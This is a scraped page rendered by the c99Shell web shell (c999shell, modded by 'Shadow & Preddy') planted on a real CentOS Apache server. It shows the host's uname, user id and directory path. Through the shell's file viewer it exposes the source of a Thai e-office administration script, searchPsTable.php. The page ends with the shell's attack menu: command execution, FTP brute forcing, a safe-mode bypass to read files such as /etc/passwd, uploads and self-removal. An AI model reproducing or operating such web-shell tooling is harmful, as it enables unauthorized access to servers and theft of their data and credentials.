!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchPsTable.php (23.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../link/keyThai.php";
include_once 
"getPrefix.php";
include_once 
"../class/clsUmuser.php";
include_once 
"../class/clsUmUserGroup.php";
$oUm = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_UMS'], $GLOBALS['DBUSER_UMS'], $GLOBALS['DBPASS_UMS']);
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);



$oDP = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oDlp3 = new docLinePosition($oC);
$oDlp4 = new docLinePosition($oC);
$oRs = new DocReceiveSend($oC);
$oUg = new umusergroup($oUm);
$oUus = new umuser($oUm);

if(
$fconfirm=="1"){   //confirm use doclineconfig
        
$oDlc->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup());
        while(
$oDlc->GetRecord()){
                
$oDlc->Edit();
                
$oDlc->DlcID=$oDlc->DlcID;
                
$oDlc->deptId=$oDlc->deptId;
                
$oDlc->DlpID=$oDlc->DlpID;
                
$oDlc->personId=$oDlc->personId;
                
$oDlc->DlcSeq=$oDlc->DlcSeq;
                
$oDlc->docGroup=$oDlc->docGroup;
                
$oDlc->confirm="Y";
                
$oDlc->DlcActive=$oDlc->DlcActive;
                
$oDlc->Save();
        }
?>
        <script language="JavaScript">
        parent.location.href ="docLineConfig.php?deptId=<?  echo $deptId?>";
        </script>
<?

}else if($fdelete=="1"){ //ลบข้อมูล

            
$oDlc2->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup()); 
            
$checkuse=0;
            while(
$oDlc2->GetRecord()){
                    
$oRs->SearchByDlcIDDocGroup2($oDlc2->DlcID,$oDP->SearchMaxDocGroup());
                    if(
$oRs->GetRecord()==1){
                                    
$checkuse++;
                    }
            }
            
//echo "checkuse=".$checkuse;
        
if($checkuse=="0"){
            
$oDlc->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup());
            while(
$oDlc->GetRecord()){
                    
$oDlc->Delete();
            }
        }else{
?>
        <script language="JavaScript">
        alert("ไม่สามารถลบข้อมูลตำแหน่งงานสารบรรณได้\nเนื่องจากมีการใช้งานตำแหน่งสารบรรณนี้แล้ว");
        </script>
<?    
        
}
?>
        <script language="JavaScript">
        parent.location.href ="docLineConfig.php?deptId=<?  echo $deptId?>";
        </script>
<?
}else{

if(
$method=="addps"){  //add person in lineconfig
        
$oDlc->SearchByKey($DlcID);
        if(
$oDlc->GetRecord()==1){ //edit
                //echo "A<br>";
                
$oDlc->Edit();
                
$oDlc->DlcID=$DlcID;
                
$oDlc->deptId=$oDlc->deptId;
                
$oDlc->DlpID=$oDlc->DlpID;
                
$oDlc->personId=$personId;
                
$oDlc->DlcSeq=$oDlc->DlcSeq;
                    
$oDP->SearchByKey($oDlc->deptId); 
                    
$oDP->GetRecord();
                
$oDlc->docGroup=$oDP->docGroup;
                
$oDlc->DlcActive=$oDlc->DlcActive;
                
$oDlc->Save();
                
                if(
$personId[$r]!="0" && $personId[$r]!=""){
                                            
//setUMS($personId[$r],$oDlp->GpID);
                                            
$oDlp->SearchByKey($oDlc->DlpID);  
                                            
$oDlp->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId);
                                            
$oUus->GetRecord();
                                        echo 
"----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                echo 
"UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp->GpID;
                                                echo 
"UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                echo 
"UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                                
                                            }
                }
                
        }else{   
//add new line
                //echo "B<br>";
                
$oDlc1->AddNew();
                
$oDlc1->DlcID=$DlcID;
                
//echo "DlcID=".$oDlc1->DlcID."<br>";
                
$oDlc1->deptId=$deptId;
                
//echo "deptId=".$oDlc1->deptId."<br>";
                
$oDlc1->personId=$personId;
                
//echo "personId=".$oDlc1->personId."<br>";
                
$oDlc1->DlcSeq=$DlcSeq;
                
//echo "DlcSeq=".$oDlc1->DlcSeq."<br>";
                    
$oDP->SearchByKey($oDlc1->deptId); 
                    
$oDP->GetRecord();
                
$oDlc1->docGroup=$oDP->docGroup;
                
//echo "docGroup=".$oDlc1->docGroup."<br>";
                
$oDlc1->Save();
        }
        
?>
    <script language="javascript1.2">    
        window.close();
        window.opener.location.href="docLineConfig.php?deptId=<?  echo $deptId?>";
    </script>
    <?
}else if($method=="addps2"){  //add person in lineconfig
        
$oDlc->SearchByKey($DlcID);
        if(
$oDlc->GetRecord()==1){ //edit
                //echo "A<br>";
                
$oDlc->Edit();
                
$oDlc->DlcID=$DlcID;
                
$oDlc->deptId=$oDlc->deptId;
                
$oDlc->DlpID=$oDlc->DlpID;
                
$oDlc->personId=$personId;
                
$oDlc->DlcSeq=$oDlc->DlcSeq;
                    
$oDP->SearchByKey($oDlc->deptId); 
                    
$oDP->GetRecord();
                
$oDlc->docGroup=$oDP->docGroup;
                
$oDlc->DlcActive=$oDlc->DlcActive;
                
$oDlc->Save();

                if(
$personId[$r]!="0" && $personId[$r]!=""){
                                            
//setUMS($personId[$r],$oDlp->GpID);
                                            
$oDlp->SearchByKey($oDlc->DlpID);  
                                            
$oDlp->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId);
                                            
$oUus->GetRecord();
                                        echo 
"----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                echo 
"UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp->GpID;
                                                echo 
"UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                echo 
"UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                                
                                            }
                }                
                
                
        }else{   
//add new line
                //echo "B<br>";
                
$oDlc1->AddNew();
                
$oDlc1->DlcID=$DlcID;
                
//echo "DlcID=".$oDlc1->DlcID."<br>";
                
$oDlc1->deptId=$deptId;
                
//echo "deptId=".$oDlc1->deptId."<br>";
                
$oDlc1->personId=$personId;
                
//echo "personId=".$oDlc1->personId."<br>";
                
$oDlc1->DlcSeq=$DlcSeq;
                
//echo "DlcSeq=".$oDlc1->DlcSeq."<br>";
                    
$oDP->SearchByKey($oDlc1->deptId); 
                    
$oDP->GetRecord();
                
$oDlc1->docGroup=$oDP->docGroup;
                
//echo "docGroup=".$oDlc1->docGroup."<br>";
                
$oDlc1->Save();
        }
        
?>
    <script language="javascript1.2">    
        window.close();
        window.opener.location.href="docLineConfigforDept.php";
    </script>
    <?
}else if($method=="pp"){  //save all config 
            
for($r=0;$r<$countline;$r++){ 
                    if(
$DlpIDadd=="0" && $personIdadd=="" && $DlcProposeadd=="N" && $DlcSignadd=="N" && $DlcSendadd=="N" && $DlcByPassadd=="N" && $DlcViewadd =="N"){
                        
//echo "C<br>";  //no data
                    
}else{
                            
//echo "<br>D===".$newposition."<br>";        
                            
$oDlc->SearchByKey($DlcID[$r]);
                            
$oDlc->GetRecord();
                            
$oDlc->Edit();
                        
//    echo "oDlc->DlpID===".$oDlc->DlpID."<br>";
                        //    echo "DlpID[r]===".$DlpID[$r]."<br>";
                            
                            
$oDlc->DlcID=$DlcID[$r];
                            
//echo "DlcID=".$oDlc->DlcID."<br>";
                            
$oDlc->deptId=$oDlc->deptId;
                            
//echo "deptId=".$oDlc->deptId."<br>";
                            
                            
$saveDlpID=$oDlc->DlpID;
                            
                            
$oDlp->SearchByKey($DlpID[$r]);  
                            
$oDlp->GetRecord(); 
                            
//echo 'DlpPropose='.$oDlp->DlpPropose.'<br>';
                            
if($oDlp->DlpPID=="0"){  
                                
//echo "no edit<br>";
                                
$oDlc->DlpID=$DlpID[$r];
                                
                            }else{
                                
//echo "edit=".($DlpID[$r-1])."<br>";
                                
$oDlp2->SearchDlpPIDByDlpID($DlpID[$r-1]);  
                                
$oDlp2->GetRecord();         
                                
$oDlc->DlpID=$oDlp2->DlpID;
                                
$a=1;
                            }
                            
$oDlp4->SearchByKey($oDlc->DlpID);  
                            
$oDlp4->GetRecord();                             
                            
//----set in ums
                            
if($saveDlpID!=$oDlc->DlpID){
                                            
$oDlp3->SearchByKey($oDlc->DlpID);  
                                            
$oDlp3->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId[$r]);
                                            
$oUus->GetRecord();
                                            
//echo "----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp3->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                
//echo "UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp3->GpID;
                                                
//echo "UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                
//echo "UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                            }                            
                            }
                                        
                            
//echo "DlpID=".$oDlc->DlpID."<br>";
                            
$oDlc->personId=$personId[$r];
                            
//echo "personId=".$oDlc->personId."<br>";
                            
$oDlc->DlcSeq=$DlcSeq[$r];
                            
//echo "DlcSeq=".$oDlc->DlcSeq."<br>";
                            
                            //echo "saveDlpID===".$saveDlpID."<br>";
                            //echo "oDlc->DlpID===".$oDlc->DlpID."<br>";
                            
if($saveDlpID!=$oDlc->DlpID || $newposition=='newposition'){
                                    
//echo ' change<br>';
                                    
if($oDlp4->DlpPropose=="Y"){
                                        
//echo ' DlpPropose=="Y"<br>';
                                        
$oDlc->DlcPropose='Y';
                                    }else{
                                        
//echo ' DlpPropose!="Y"<br>';
                                        
$oDlc->DlcPropose="N";
                                    }
                                    
//echo "DlcPropose=".$oDlc1->DlcPropose."<br>";
                                    
if($oDlp4->DlpSign=="Y"){
                                        
$oDlc->DlcSign='Y';
                                    }else{
                                        
$oDlc->DlcSign="N";
                                    }
                                    
//echo "DlcSign=".$oDlc1->DlcSign."<br>";
                                    
if($oDlp4->DlpSend=="Y"){
                                        
$oDlc->DlcSend='Y';
                                    }else{
                                        
$oDlc->DlcSend="N";
                                    }
                                    
//echo "DlcSend=".$oDlc1->DlcSend."<br>";
                                    
if($oDlp4->DlpByPass=="Y"){
                                        
$oDlc->DlcByPass='Y';
                                    }else{
                                        
$oDlc->DlcByPass="N";
                                    }
                                    
//echo "DlcByPass=".$oDlc1->DlcByPass."<br>";
                                    
if($oDlp4->DlpView=="Y"){
                                        
$oDlc->DlcView='Y';
                                    }else{
                                        
$oDlc->DlcView="N";
                                    }
                            }else{
                                    
//echo 'no change<br>';
                                    
if($DlcPropose[$r]=="Y"){
                                        
$oDlc->DlcPropose=$DlcPropose[$r];
                                    }else{
                                        
$oDlc->DlcPropose="N";
                                    }
                                    
//echo "DlcPropose=".$oDlc->DlcPropose."<br>";
                                    
if($DlcSign[$r]=="Y"){
                                        
$oDlc->DlcSign=$DlcSign[$r];
                                    }else{
                                        
$oDlc->DlcSign="N";
                                    }
                                    
//echo "DlcSign=".$oDlc->DlcSign."<br>";
                                    
if($DlcSend[$r]=="Y"){
                                        
$oDlc->DlcSend=$DlcSend[$r];
                                    }else{
                                        
$oDlc->DlcSend="N";
                                    }
                                    
//echo "DlcSend=".$oDlc->DlcSend."<br>";
                                    
if($DlcByPass[$r]=="Y"){
                                        
$oDlc->DlcByPass=$DlcByPass[$r];
                                    }else{
                                        
$oDlc->DlcByPass="N";
                                    }
                                    
//echo "DlcByPass=".$oDlc->DlcByPass."<br>";
                                    
if($DlcView[$r]=="Y"){
                                        
$oDlc->DlcView=$DlcView[$r];
                                    }else{
                                        
$oDlc->DlcView="N";
                                    }
                            
                            }
                            
                            
//echo "DlcView=".$oDlc->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc->deptId); 
                                
$oDP->GetRecord();
                            
$oDlc->docGroup=$oDP->docGroup;
                            
//echo "docGroup=".$oDlc->docGroup."<br>";
                            
if($DlcActive[$r]=="Y"){
                                
$oDlc->DlcActive=$DlcActive[$r];
                            }else{
                                
$oDlc->DlcActive="N";
                            }
                            
$oDlc->Save();
                            
                                            
                            
                    } 
                    
//echo "------------------------------------------------<br>";
            
// end if  save all config 
            
$oDlp->SearchByKey($DlpIDadd);
            
$oDlp->GetRecord();
            if(
$addline=="1" && $showdeptId!="1"){  //if add new line
                    
if($DlpIDadd=="0" && $personIdadd=="" && $DlcProposeadd!="Y" && $DlcSignadd!="Y" && $DlcSendadd!="Y" && $DlcByPassadd!="Y" && $DlcViewadd !="Y"){
                        
//echo "E<br>";  //no data
                    
}else{
                        
//echo "F<br>";
                        
$oDlc1->AddNew();
                        
$oDlc1->DlcID=$DlcIDadd;
                        
//echo "DlcID=".$oDlc1->DlcID."<br>";
                        
$oDlc1->deptId=$deptId;
                        
//echo "deptId=".$oDlc1->deptId."<br>";
                        
$oDlc1->DlpID=$DlpIDadd;
                        
//echo "DlpID=".$oDlc1->DlpID."<br>";
                        
$oDlc1->personId=$personIdadd;
                        
//echo "personId=".$oDlc1->personId."<br>";
                        
$oDlc1->DlcSeq=$DlcSeqadd;
                        
//echo "DlcSeq=".$oDlc1->DlcSeq."<br>";
                        
if($oDlp->DlpPropose=="Y"){
                            
$oDlc1->DlcPropose='Y';
                        }else{
                            
$oDlc1->DlcPropose="N";
                        }
                        
//echo "DlcPropose=".$oDlc1->DlcPropose."<br>";
                        
if($oDlp->DlpSign=="Y"){
                            
$oDlc1->DlcSign='Y';
                        }else{
                            
$oDlc1->DlcSign="N";
                        }
                        
//echo "DlcSign=".$oDlc1->DlcSign."<br>";
                        
if($oDlp->DlpSend=="Y"){
                            
$oDlc1->DlcSend='Y';
                        }else{
                            
$oDlc1->DlcSend="N";
                        }
                        
//echo "DlcSend=".$oDlc1->DlcSend."<br>";
                        
if($oDlp->DlpByPass=="Y"){
                            
$oDlc1->DlcByPass='Y';
                        }else{
                            
$oDlc1->DlcByPass="N";
                        }
                        
//echo "DlcByPass=".$oDlc1->DlcByPass."<br>";
                        
if($oDlp->DlpView=="Y"){
                            
$oDlc1->DlcView='Y';
                        }else{
                            
$oDlc1->DlcView="N";
                        }
                        
//echo "DlcView=".$oDlc1->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc1->deptId); 
                                
$oDP->GetRecord();
                        
$oDlc1->docGroup=$oDP->docGroup;
                        
//echo "docGroup=".$oDlc1->docGroup."<br>";
                            
if($DlcActiveadd=="Y"){
                                
$oDlc1->DlcActive=$DlcActiveadd;
                            }else{
                                
$oDlc1->DlcActive="N";
                            }
                        
$oDlc1->Save();
                    
//echo "------------------------------------------------<br>";
                    
                    //---------add Parent Dlp
                        
                        
$oDlc2->AddNew();
                        
$oDlc2->DlcID=$DlcIDadd+1;
                    
//    echo "DlcID=".$oDlc2->DlcID."<br>";
                        
$oDlc2->deptId=$deptId;
                        
//echo "deptId=".$oDlc2->deptId."<br>";
                        
$oDlp2->SearchDlpPIDByDlpID($DlpIDadd);
                        
$oDlp2->GetRecord();
                        
//echo '------------'.$oDlp2->DlpPropose.'<br>';
                        
$oDlc2->DlpID=$oDlp2->DlpID;
                        
//echo "DlpID=".$oDlc2->DlpID."<br>";
                        
$oDlc2->personId=$personIdadd;
                        
//echo "personId=".$oDlc2->personId."<br>";
                        
$oDlc2->DlcSeq=$DlcSeqadd+1;
                        
//echo "DlcSeq=".$oDlc2->DlcSeq."<br>";
                        
if($oDlp2->DlpPropose=="Y"){
                            
$oDlc2->DlcPropose='Y';
                        }else{
                            
$oDlc2->DlcPropose="N";
                        }
                        
//echo "DlcPropose=".$oDlc2->DlcPropose."<br>";
                        
if($oDlp2->DlpSign=="Y"){
                            
$oDlc2->DlcSign='Y';
                        }else{
                            
$oDlc2->DlcSign="N";
                        }
                        
//echo "DlcSign=".$oDlc2->DlcSign."<br>";
                        
if($oDlp2->DlpSend=="Y"){
                            
$oDlc2->DlcSend='Y';
                        }else{
                            
$oDlc2->DlcSend="N";
                        }
                        
//echo "DlcSend=".$oDlc2->DlcSend."<br>";
                        
if($oDlp2->DlpByPass=="Y"){
                            
$oDlc2->DlcByPass='Y';
                        }else{
                            
$oDlc2->DlcByPass="N";
                        }
                        
//echo "DlcByPass=".$oDlc2->DlcByPass."<br>";
                        
if($oDlp2->DlpView=="Y"){
                            
$oDlc2->DlcView='Y';
                        }else{
                            
$oDlc2->DlcView="N";
                        }
                        
//echo "DlcView=".$oDlc2->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc2->deptId); 
                                
$oDP->GetRecord();
                        
$oDlc2->docGroup=$oDP->docGroup;
                        
//echo "docGroup=".$oDlc2->docGroup."<br>";
                            
if($DlcActiveadd=="Y"){
                                
$oDlc2->DlcActive=$DlcActiveadd;
                            }else{
                                
$oDlc2->DlcActive="N";
                            }
                        
$oDlc2->Save();
                    
//echo "------------------------------------------------<br>";
                    //-----------------------------------
                    
}
            } 
//end if add new line
?>
            <script language="JavaScript">
            parent.location.href ="docLineConfig.php?deptId=<?  echo $deptId?>&addline=0";
            </script>
<?
}else if($method=="pp2"){  //save all config 
//echo "
            
for($r=0;$r<$countline;$r++){ 
                    if(
$DlpIDadd=="0" && $personIdadd=="" && $DlcProposeadd=="N" && $DlcSignadd=="N" && $DlcSendadd=="N" && $DlcByPassadd=="N" && $DlcViewadd =="N"){
                        
//echo "C<br>";  //no data
                    
}else{
                            
//echo "D<br>";        
                            
$oDlc->SearchByKey($DlcID[$r]);
                            
$oDlc->GetRecord();
                            
$oDlc->Edit();
                            
$oDlc->DlcID=$DlcID[$r];
                            
//echo "DlcID=".$oDlc->DlcID."<br>";
                            
$oDlc->deptId=$oDlc->deptId;
                            
//echo "deptId=".$oDlc->deptId."<br>";
                            
                            
$saveDlpID=$oDlc->DlpID;
                            
                            
$oDlp->SearchByKey($DlpID[$r]);  
                            
$oDlp->GetRecord(); 
                            if(
$oDlp->DlpPID=="0"){  
                                
//echo "no edit<br>";
                                
$oDlc->DlpID=$DlpID[$r];
                                
                            }else{
                                
//echo "edit=".($DlpID[$r-1])."<br>";
                                
$oDlp2->SearchDlpPIDByDlpID($DlpID[$r-1]);  
                                
$oDlp2->GetRecord();         
                                
$oDlc->DlpID=$oDlp2->DlpID;
                            }
                            
                            
//----set in ums
                            
if($saveDlpID!=$oDlc->DlpID){
                                            
$oDlp3->SearchByKey($oDlc->DlpID);  
                                            
$oDlp3->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId[$r]);
                                            
$oUus->GetRecord();
                                            echo 
"----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp3->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                echo 
"UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp3->GpID;
                                                echo 
"UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                echo 
"UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                            }                            
                            }
                                        
                            
//echo "DlpID=".$oDlc->DlpID."<br>";
                            
$oDlc->personId=$personId[$r];
                            
//echo "personId=".$oDlc->personId."<br>";
                            
$oDlc->DlcSeq=$DlcSeq[$r];
                            
//echo "DlcSeq=".$oDlc->DlcSeq."<br>";
                            
if($DlcPropose[$r]=="Y"){
                                
$oDlc->DlcPropose=$DlcPropose[$r];
                            }else{
                                
$oDlc->DlcPropose="N";
                            }
                            
//echo "DlcPropose=".$oDlc->DlcPropose."<br>";
                            
if($DlcSign[$r]=="Y"){
                                
$oDlc->DlcSign=$DlcSign[$r];
                            }else{
                                
$oDlc->DlcSign="N";
                            }
                            
//echo "DlcSign=".$oDlc->DlcSign."<br>";
                            
if($DlcSend[$r]=="Y"){
                                
$oDlc->DlcSend=$DlcSend[$r];
                            }else{
                                
$oDlc->DlcSend="N";
                            }
                            
//echo "DlcSend=".$oDlc->DlcSend."<br>";
                            
if($DlcByPass[$r]=="Y"){
                                
$oDlc->DlcByPass=$DlcByPass[$r];
                            }else{
                                
$oDlc->DlcByPass="N";
                            }
                            
//echo "DlcByPass=".$oDlc->DlcByPass."<br>";
                            
if($DlcView[$r]=="Y"){
                                
$oDlc->DlcView=$DlcView[$r];
                            }else{
                                
$oDlc->DlcView="N";
                            }
                            
//echo "DlcView=".$oDlc->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc->deptId); 
                                
$oDP->GetRecord();
                            
$oDlc->docGroup=$oDP->docGroup;
                            
//echo "docGroup=".$oDlc->docGroup."<br>";
                            
if($DlcActive[$r]=="Y"){
                                
$oDlc->DlcActive=$DlcActive[$r];
                            }else{
                                
$oDlc->DlcActive="N";
                            }
                            
$oDlc->Save();
                            
                                            
                            
                    } 
                    
//echo "------------------------------------------------<br>";
            
// end if  save all config 
?>
            <script language="JavaScript">
            parent.location.href ="docLineConfigforDept.php?deptId=<?  echo $deptId?>";
            </script>
<?
}else{  //search person 
?>
<html>
<head>
<title>ตารางค้นหาบุคลากร</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
</head>
<style>
<!--
A:link {text-decoration: none; color: #000000}
A:visited {text-decoration: none; color: #000000}
A:hover {text-decoration: none; font-weight: underline; color: #015181} 
-->
</style>

 <form name="ff">
  <table width="102%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr><td  height="30" align="left"><strong><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp;
            <img src="../picture/search2.jpg" alt=""  border="0" >
            ค้นหารายชื่อบุคลากร</font></strong></td></tr>
              <tr>
    <td height="30" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp;&nbsp;&nbsp;ชื่อ - นามสกุล ::</font>
    <input type="text" name="name" value="<? echo $name?>">&nbsp;<input type=submit value="ค้นหา" align=center>
      </td>
  </tr>
            <tr>
            <td align="center"><br>
            
        <table width="100%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>"> 
            <td height="24" colspan="4"    align="center" ><strong><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp; 
              รายชื่อบุคลากร</font></strong></td>
          </tr>
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
            <td height="26" width="82" align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>ลำดับที่</strong></font></td>
            <td width="927" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>ชื่อ-นามสกุล</strong></font></td>
          </tr>
          <tr>
           <td width="82" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo a2th($i+1);?>
              </font></td>
            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
            <? if($fordept==1){  $mth="addps2"; }else{  $mth="addps";  } ?>
            <? if($addnew!=1){?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=&deptId=<? echo $deptId?>">&nbsp;&nbsp;<? echo "ไม่เลือก";?></a>
            <? }else{ ?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=&deptId=<? echo $deptId?>&DlcSeq=<? echo $DlcSeq;?>&docGroup=<? echo $docGroup?>"><? echo "ไม่เลือก";?></a>            
            <? ?>
              </font></td>
              </tr>
          <?php 
                  $i
=1;
                  
$oPS->SearchByName($name);
                while(
$oPS->GetRecord()){
                                if((
$i%2) == 0)
                                          echo 
"<tr>";
                                    else
                                          echo 
"<tr bgcolor=\"".$GLOBALS['COLOR_BG_TABLE_8']."\">";
?>
          
            <td width="82" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo a2th($i+1);?>
              </font></td>
            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
            <? if($addnew!=1){?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=<? echo $oPS->personId?>&deptId=<? echo $deptId?>"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></a>
            <? }else{ ?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=<? echo $oPS->personId?>&deptId=<? echo $deptId?>&DlcSeq=<? echo $DlcSeq;?>&docGroup=<? echo $docGroup?>"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></a>            
            <? ?>
              </font></td>
          </tr>
          <? $i++;  } ?>
          
          <table width="100%" border="0" cellspacing="0" cellpadding="1">
          <tr>
              <td><font color="#FF0000" size="-1" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">หมายเหตุ :: 
                คลิกที่รายชื่อบุคลากรที่ต้องการ<br>
                &nbsp;&nbsp;&nbsp;<font color="#FF0000"></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
                กำหนดตำแหน่งงานสารบรรณ</font></td>
            </tr>
    <tr>
        <td>
        </td>
        <td align="right"><font size="2">รวม <?php echo $i?> รายการ</font></td>
    </tr>
    <tr>
        <td colspan="2" align="center" bgcolor="#FFFFFF">
        </td>
    </tr>    
    <tr>
        <td align="center" colspan="2" bgcolor="#FFFFFF"><a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
    </tr>
</table>
        </table>
</td>
</tr>
</table>
<input type="hidden" name="DlcID" value="<? echo $DlcID?>">
<input type="hidden" name="deptId" value="<? echo $deptId?>">
</form>
</body>
</html>
<? }  //end if case method
 
}  //end if confirm use doclineconfig  ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0096 ]--